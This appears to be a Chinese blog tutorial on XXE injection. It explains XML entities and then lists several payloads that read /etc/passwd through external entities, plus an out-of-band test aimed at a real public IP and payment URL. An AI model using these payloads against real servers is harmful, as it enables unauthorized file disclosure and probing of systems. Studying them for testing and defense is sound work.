ENTITY 实体 

在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。 

XML定义了两种类型的ENTITY,一种在XML文档中使用,另一种作为参数在DTD文件中使用。 

ENTITY的定义语法:

​<!DOCTYPE 文件名 [ <!ENTITY 实体名 "实体内容"> ]>​

 

xml entity 可以读取外置文件,其实entity作用相当于定义全局变量和引用外部文件

​<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///xxxx" >]>引用外部文件​

​<!DOCTYPE netspi [<!ENTITY xxe "hello" >]> 全局变量​

在一般的异步网站都会有异步数据与服务器的交互,一般传送数据为json但如果将传送的数据格式改为xml。有很大的可能服务器会解析你异步上传的xml脚本执行想要干的事

 

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<search>type sth!</search>

<value>&xxe;</value>

</root>

网址地址:

抓包数据如下:

构造xml注入脚本

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><Agoly>&xxe;</Agoly>

脚本2:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE Agoly [ <!ELEMENT Agoly ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<search>type sth!</search>

<value>&xxe;</value>

</root>

测试方法3:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE Agoly [ <!ENTITY xxe SYSTEM "http://183.62.174.46:9598/45/payment/pay/notify/heilpay/app">

]>

<Agoly>&xxe;</Agoly>

因为测试的ip是公网环境,所以SYSTEM "http://183.62.174.46也是需要为公网环境

查看http://183.62.174.46:9598/45/payment/pay/notify/heilpay/app系统的访问日志

说明系统的地址被访问了,所以存在xxe漏洞


作者:Agoly​

本文版权归作者所有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文连接,否则保留追究法律责任的权利。

如果文中有什么错误,欢迎指出。以免更多的人被误导。